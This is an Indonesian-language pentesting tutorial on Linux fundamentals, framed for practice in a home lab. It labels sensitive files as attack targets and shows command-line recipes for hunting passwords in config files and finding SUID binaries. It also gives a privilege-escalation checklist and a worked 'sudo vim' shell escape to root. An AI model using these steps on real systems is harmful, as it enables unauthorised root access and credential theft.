Linux adalah sistem operasi sumber terbuka yang populer, yang dimodelkan berdasarkan UNIX. Inti dari sistem ini adalah kernel, yang mengelola sumber daya perangkat keras

• / — Root of everything. Titik awal semua path di Linux.
• /etc — Pusat file konfigurasi sistem. Tempat passwd, shadow, sudoers, hosts, dan crontab berada. SENSITIVE
• /etc/passwd — Daftar semua user sistem, bisa dibaca siapa saja. Berisi UID, GID, home dir, dan shell yang digunakan. TARGET
• /etc/shadow — Menyimpan password hash semua user. Hanya root yang bisa membacanya — ini yang diincar saat privilege escalation. TARGET
• /etc/sudoers — Aturan siapa yang bisa menjalankan sudo. Misconfigurasi di file ini bisa menjadi privilege escalation instan. TARGET
• /var/log — “Kotak hitam” sistem. Berisi auth.log, syslog, apache2/access.log. Semua aktivitas tercatat di sini.
• /home — Direktori data pribadi semua user non-root. Sering menyimpan SSH keys, bash history, dan file config sensitif.
• /root — Home directory Superuser. Tidak bisa diakses user biasa secara default. Final destination. TARGET
• /tmp — Area penyimpanan sementara, bebas tulis (world-writable). Lokasi umum untuk menaruh payload karena tidak memerlukan izin khusus. ATTACK SURFACE
• /proc — Virtual filesystem berisi info real-time tentang proses dan kernel. /proc/version dan /proc/net/tcp berguna untuk enumeration.
• /bin & /sbin — Tempat binary eksekusi sistem. ls, cat, bash ada di sini. /sbin khusus untuk admin tools.
• /usr/share/wordlists — Di Kali Linux, wordlist seperti rockyou.txt tersimpan di sini.
• /opt — Software pihak ketiga yang diinstall manual biasanya landing di sini.

💡 Pro Tip: Jangan lupakan ~/.bash_history di setiap home directory. File ini sering menyimpan password yang pernah diketik langsung di terminal atau perintah sensitif yang pernah dijalankan user.

# Contoh nyata: mencari file konfigurasi yang mengandung password
root@kali:~# grep -r “password” /etc/ –include=”*.conf” 2>/dev/null
/etc/mysql/debian.cnf:password = someSecretPass123
/etc/phpmyadmin/config-db.php:$dbpass=’anotherPass456′;# Mencari binary dengan SUID bit (vektor privesc klasik)
root@kali:~# find / -perm -4000 -type f 2>/dev/null
/usr/bin/sudo
/usr/bin/passwd
/usr/lib/openssh/ssh-keysign

[SECURITY_CONCEPT : FILE PERMISSIONS]

Linux menggunakan sistem izin Read (4), Write (2), Execute (1).

Contoh: chmod 755 file artinya Owner bisa segalanya (4+2+1=7), Group dan Others hanya bisa baca + eksekusi (4+1=5).

Jika kamu melihat -rwsr-xr-x, huruf s pada posisi execute Owner menandakan SUID bit aktif — binary ini berjalan dengan privilege pemiliknya (sering root). Ini adalah vektor Privilege Escalation paling umum.

⚠️ SUID & SGID Hunt: Gunakan perintah berikut untuk mencari binary berbahaya:find / -perm -4000 -type f 2>/dev/null find / -perm -2000 -type f 2>/dev/null
Bandingkan hasilnya dengan database GTFOBins (gtfobins.github.io) untuk mengetahui cara eksploitasinya.

# Lihat semua proses beserta user yang menjalankan
root@kali:~# ps aux | grep root
root 1234 /usr/sbin/apache2 -k start
root 5678 /usr/sbin/sshd -D# Service management (systemd)
root@kali:~# systemctl list-units –type=service –state=running
root@kali:~# systemctl status apache2
root@kali:~# systemctl start / stop / restart / enable apache2

# Cek port yang terbuka
root@kali:~# ss -tulnp
tcp LISTEN 0.0.0.0:22 (“sshd”, pid=5678)
tcp LISTEN 0.0.0.0:80 (“apache2”, pid=1234)

💡 Persistence via Cron & Systemd: Setelah masuk ke sistem, attacker sering menanam persistence melalui crontab -e (menambahkan reverse shell yang berjalan berkala) atau membuat custom systemd service. Selalu audit dua lokasi ini saat melakukan hardening sistem.

Checklist Enumeration (Privesc):

• sudo -l — Cek command apa yang bisa dijalankan sebagai sudo tanpa password.
• SUID/SGID Binaries — find / -perm -4000 -type f 2>/dev/null
• Writable /etc/passwd — Jika writable, bisa tambahkan user root baru secara langsung.
• Cron Jobs — crontab -l dan cat /etc/crontab. Script yang writable = privesc.
• Environment Variables / PATH Hijacking — Jika script root memanggil binary tanpa absolute path, bisa disubstitusi.
• Kernel Exploits — uname -r untuk cek versi kernel, lalu cari CVE yang relevan (DirtyPipe, DirtyCow, dll).
• LinPEAS / LinEnum — Script otomatis untuk enumerate semua vektor privesc. Drop ke /tmp dan jalankan.

# Full privesc enumeration dalam satu sesi
user@target:~$ sudo -l
(root) NOPASSWD: /usr/bin/vim# vim ada di GTFOBins — bisa spawn shell sebagai root!
user@target:~$ sudo vim -c ‘:!/bin/bash’
root@target:~# whoami
root

 Referensi Wajib: gtfobins.github.io — Database binary Unix yang bisa digunakan untuk bypass restriction, escalate privilege, atau mendapatkan shell. Selalu cek di sini setelah menemukan SUID binary atau sudo permission yang mencurigakan.

# Monitoring log secara real-time
root@kali:~# tail -f /var/log/auth.log# Cari aktivitas mencurigakan di log
root@kali:~# grep “Failed password” /var/log/auth.log | awk ‘{print $11}’ | sort | uniq -c | sort -rn

kesimpulan

“Linux bukan sekadar OS — Linux adalah bahasa yang harus kamu kuasai sebelum bicara soal keamanan siber. Setiap tool, setiap exploit, setiap teknik bertumpu di atas fondasi ini.”

Jangan takut untuk merusak sistem (di lab sendiri) agar kamu paham cara memperbaikinya. Setup lab dengan VirtualBox + Kali Linux + intentionally vulnerable VM dari VulnHub atau HackTheBox.

Selanjutnya: S4 — Scripting & Automation →